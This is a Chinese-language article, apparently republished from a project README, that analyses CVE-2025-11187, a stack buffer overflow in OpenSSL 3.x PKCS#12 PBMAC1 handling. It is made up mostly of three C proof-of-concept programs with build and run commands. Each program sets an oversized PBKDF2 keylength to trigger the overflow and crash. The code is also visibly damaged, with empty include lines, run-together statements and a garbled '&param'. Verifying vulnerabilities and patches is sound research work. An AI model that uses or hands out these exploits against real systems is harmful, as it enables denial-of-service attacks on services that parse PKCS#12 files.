OpenSSL CVE-2025-11187 PKCS#12 PBMAC1堆栈溢出漏洞分析与验证

2026-06-22阅读 0热度 0
mac

OpenSSL PKCS#12 PBMAC1 堆栈缓冲区溢出漏洞 (CVE-2025-11187)

CVE-2025-11187 是 OpenSSL 3.x 中一个典型的堆栈缓冲区溢出漏洞。该漏洞位于 libcrypto 库的 PKCS#12 PBMAC1 实现中。当应用解析一个精心构造的 PKCS#12 文件时,攻击者可利用 PBKDF2 的 keylength 参数直接触发堆栈缓冲区溢出,最终导致拒绝服务(DoS)。

OpenSSL PKCS#12 PBMAC1 堆栈缓冲区溢出漏洞 (CVE-2025-11187) 分析与验证

功能特性

本分析验证项目包含三个独立的概念验证(PoC)代码,从不同维度演示漏洞触发路径。每份核心代码均配备完整注释,便于理解触发机制。测试参数支持自定义 keylength、迭代次数与摘要算法。内存安全分析重点展示 OpenSSL 3.x 中 PKCS12_gen_mac() 函数的栈溢出问题。

安装指南

系统要求

受影响的 OpenSSL 版本范围:3.x(3.0+ 至 3.6.0)。编译器需使用 GCC,同时需安装 OpenSSL 开发库。

依赖安装(Ubuntu/Debian)

sudo apt update
sudo apt install openssl libssl-dev gcc make

编译 PoC

所有 PoC 文件在编译时均需链接 OpenSSL 库:

# 编译第一个 PoC(直接栈溢出触发)
gcc -o poc1 poc1.c -lssl -lcrypto# 编译第二个 PoC(参数化 keylength)
gcc -o poc2 poc2.c -lssl -lcrypto# 编译第三个 PoC(最小化构造)
gcc -o poc3 poc3.c -lssl -lcrypto

使用说明

基础用法

PoC 1: 直接触发栈溢出

./poc1

该程序创建一个携带超大 keylength(4096)的恶意 PKCS#12 结构,调用 PKCS12_verify_mac() 时直接触发栈溢出。

PoC 2: 参数化 Keylength

# 使用默认参数(keylength=4096, iter=1000, sha256)
./poc2 4096# 自定义迭代次数与摘要算法
./poc2 8192 10000 sha512

PoC 3: 最小化构造 + 漏洞触发

./poc3 4096

典型使用场景

安全研究人员可利用 PoC 验证目标 OpenSSL 版本是否存在漏洞;开发人员可借此理解漏洞成因,评估升级优先级;测试人员则可在隔离环境中验证补丁的有效性。

核心代码

漏洞触发核心代码(poc1.c)

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include "crypto/pkcs12/p12_local.h"static void die(const char *msg) {
    fprintf(stderr, "%sn", msg);
    ERR_print_errors_fp(stderr);
    exit(1);
}int main(void) {
    ERR_load_crypto_strings();    // 创建 PKCS12 对象
    PKCS12 *p12 = PKCS12_new();
    if (!p12) die("PKCS12_new failed");    // 设置 authsafes 数据
    p12->authsafes = PKCS7_new();
    if (!p12->authsafes) die("authsafes alloc failed");
    if (!PKCS7_set_type(p12->authsafes, NID_pkcs7_data)) die("PKCS7_set_type failed");
    ASN1_OCTET_STRING *os = ASN1_OCTET_STRING_new();
    if (!os) die("octet string alloc failed");
    const unsigned char payload[] = {0x01,0x02,0x03};
    if (!ASN1_OCTET_STRING_set(os, payload, (int)sizeof(payload))) die("octet set failed");
    p12->authsafes->d.data = os;    // 初始化 PBMAC1 参数(使用 PKCS12_set_pbmac1_pbkdf2)
    if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, 1000, EVP_sha256(), NULL))
        die("PKCS12_set_pbmac1_pbkdf2 failed");    X509_ALGOR *macalg = NULL;
    ASN1_OCTET_STRING *macoct = NULL;
    X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);    // 手动构造 PBMAC1PARAM,设置超大 keylength
    PBMAC1PARAM *param = PBMAC1PARAM_new();
    if (!param) die("PBMAC1PARAM_new failed");    X509_ALGOR *hmac_alg = X509_ALGOR_new();
    if (!hmac_alg) die("hmac alg alloc failed");
    if (!X509_ALGOR_set0(hmac_alg, OBJ_nid2obj(NID_hmacWithSHA256), V_ASN1_NULL, NULL))
        die("X509_ALGOR_set0 hmac failed");    unsigned char salt[8];
    if (RAND_bytes(salt, sizeof(salt)) <= 0) die("RAND_bytes failed");
    // 关键:设置超大 keylength 触发栈溢出
    int keylen = 4096;
    X509_ALGOR *alg = PKCS5_pbkdf2_set(1000, salt, (int)sizeof(salt), NID_hmacWithSHA256, keylen);
    if (!alg) die("PKCS5_pbkdf2_set failed");    param->keyDerivationFunc = alg;
    param->messageAuthScheme = hmac_alg;    if (!ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter))
        die("pack PBMAC1PARAM failed");    PBMAC1PARAM_free(param);    // 触发漏洞:PKCS12_verify_mac 调用 PKCS12_gen_mac 时栈溢出
    int ok = PKCS12_verify_mac(p12, "pass", 4);
    printf("verify result: %dn", ok);    PKCS12_free(p12);
    return 0;
}

参数化 Keylength 构造(poc2.c 关键函数)

static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
    // 使用 OpenSSL API 初始化 PBMAC1
    if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
        die("PKCS12_set_pbmac1_pbkdf2 failed");    X509_ALGOR *macalg = NULL; 
    ASN1_OCTET_STRING *macoct = NULL;
    X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);
    
    // 获取 PBKDF2 参数结构体
    PBKDF2PARAM *pbkdf2 = PBMAC1_get1_pbkdf2_param(macalg);
    if (pbkdf2 == NULL) die("PBMAC1_get1_pbkdf2_param failed");
    
    // 直接修改 keylength 字段
    if (pbkdf2->keylength == NULL)
        pbkdf2->keylength = ASN1_INTEGER_new();
    ASN1_INTEGER_set(pbkdf2->keylength, keylen);    // 重新编码并设置回 macalg
    unsigned char *der = NULL; 
    int derlen = i2d_PBKDF2PARAM(pbkdf2, &der);
    if (derlen <= 0) die("i2d_PBKDF2PARAM failed");
    ASN1_STRING *kdfparam = ASN1_STRING_new();
    if (kdfparam == NULL) die("ASN1_STRING_new failed");
    ASN1_STRING_set0(kdfparam, der, derlen);
    X509_ALGOR_set0(macalg, OBJ_nid2obj(NID_pbmac1), V_ASN1_SEQUENCE, kdfparam);
    PBKDF2PARAM_free(pbkdf2);
}int main(int argc, char **argv)
{
    ERR_load_crypto_strings();
    if (argc < 2) { 
        fprintf(stderr, "Usage: %s  [iter] [digest]n", argv[0]); 
        return 1; 
    }
    
    int keylen = atoi(argv[1]);      // 从命令行获取 keylength
    int iter = (argc >= 3) ? atoi(argv[2]) : 1000;
    const char *dg = (argc >= 4) ? argv[3] : "sha256";
    const EVP_MD *md = EVP_get_digestbyname(dg);
    if (!md) die("Unknown digest");    PKCS12 *p12 = PKCS12_new();
    if (!p12) die("PKCS12_new failed");
    set_authsafes_data(p12);
    set_pbmac1_keylen(p12, md, iter, keylen);    // 直接调用 PKCS12_gen_mac,不经过 verify 包装
    unsigned char mac[EVP_MAX_MD_SIZE]; 
    unsigned int maclen = 0;
    int ok = PKCS12_gen_mac(p12, "pass", 4, mac, &maclen);
    printf("verify_mac returned: %d, maclen=%un", ok, maclen);
    PKCS12_free(p12);
    return 0;
}

最小化 PKCS12 构造(poc3.c)

static PKCS12 *build_p12_min(void)
{
    STACK_OF(PKCS12_SAFEBAG) *bags = NULL;
    PKCS12_SAFEBAG *bag = NULL;
    PKCS7 *p7 = NULL;
    STACK_OF(PKCS7) *safes = NULL;
    PKCS12 *p12 = NULL;
    unsigned char secret[] = { 0xAA };    // 创建最小化的安全包
    bags = sk_PKCS12_SAFEBAG_new_null();
    if (bags == NULL) die("sk_PKCS12_SAFEBAG_new_null failed");    bag = PKCS12_SAFEBAG_create_secret(NID_secretBag, V_ASN1_OCTET_STRING, secret, (int)sizeof(secret));
    if (bag == NULL) die("PKCS12_SAFEBAG_create_secret failed");
    if (!sk_PKCS12_SAFEBAG_push(bags, bag)) die("push bag failed");    // 打包为 PKCS7 数据
    p7 = PKCS12_pack_p7data(bags);
    if (p7 == NULL) die("PKCS12_pack_p7data failed");    safes = sk_PKCS7_new_null();
    if (safes == NULL) die("sk_PKCS7_new_null failed");
    if (!sk_PKCS7_push(safes, p7)) die("push p7 failed");    // 创建 PKCS12 对象
    p12 = PKCS12_add_safes(safes, NID_pkcs7_data);
    if (p12 == NULL) die("PKCS12_add_safes failed");    sk_PKCS12_SAFEBAG_pop_free(bags, PKCS12_SAFEBAG_free);
    sk_PKCS7_pop_free(safes, PKCS7_free);
    return p12;
}static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
    // 使用公开 API 设置 PBMAC1
    if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
        die("PKCS12_set_pbmac1_pbkdf2 failed");    // 获取 MAC 算法参数
    const ASN1_OCTET_STRING *pmac = NULL;
    const X509_ALGOR *macalg_const = NULL;
    PKCS12_get0_mac(&pmac, &macalg_const, NULL, NULL, p12);
    if (macalg_const == NULL) die("PKCS12_get0_mac failed");    // 解包 PBMAC1PARAM
    PBMAC1PARAM *param = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), macalg_const->parameter);
    if (param == NULL) die("unpack PBMAC1PARAM failed");    // 解包 PBKDF2PARAM
    PBKDF2PARAM *pbkdf2 = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), param->keyDerivationFunc->parameter);
    if (pbkdf2 == NULL) die("unpack PBKDF2PARAM failed");    // 设置超大的 keylength
    if (pbkdf2->keylength == NULL) {
        pbkdf2->keylength = ASN1_INTEGER_new();
        if (pbkdf2->keylength == NULL) die("ASN1_INTEGER_new keylength failed");
    }
    ASN1_INTEGER_set(pbkdf2->keylength, keylen);    // 重新打包参数
    if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), pbkdf2, ¶m->keyDerivationFunc->parameter) == NULL)
        die("pack PBKDF2PARAM failed");
    PBKDF2PARAM_free(pbkdf2);    X509_ALGOR *macalg = (X509_ALGOR *)macalg_const;
    if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter) == NULL)
        die("pack PBMAC1PARAM failed");
    PBMAC1PARAM_free(param);
}

漏洞影响

受影响版本:OpenSSL 3.x(3.0 至 3.6.0)
影响组件:libcrypto(PKCS#12 MAC)、providers(PBKDF2)
攻击向量:解析恶意构造的 PKCS#12 文件
影响后果:拒绝服务(堆栈缓冲区溢出)

免责声明

本网站新闻资讯均来自公开渠道,力求准确但不保证绝对无误,内容观点仅代表作者本人,与本站无关。若涉及侵权,请联系我们处理。本站保留对声明的修改权,最终解释权归本站所有。

相关阅读

更多
欢迎回来 登录或注册后,可保存提示词和历史记录
登录后可同步收藏、历史记录和常用模板
注册即表示同意服务条款与隐私政策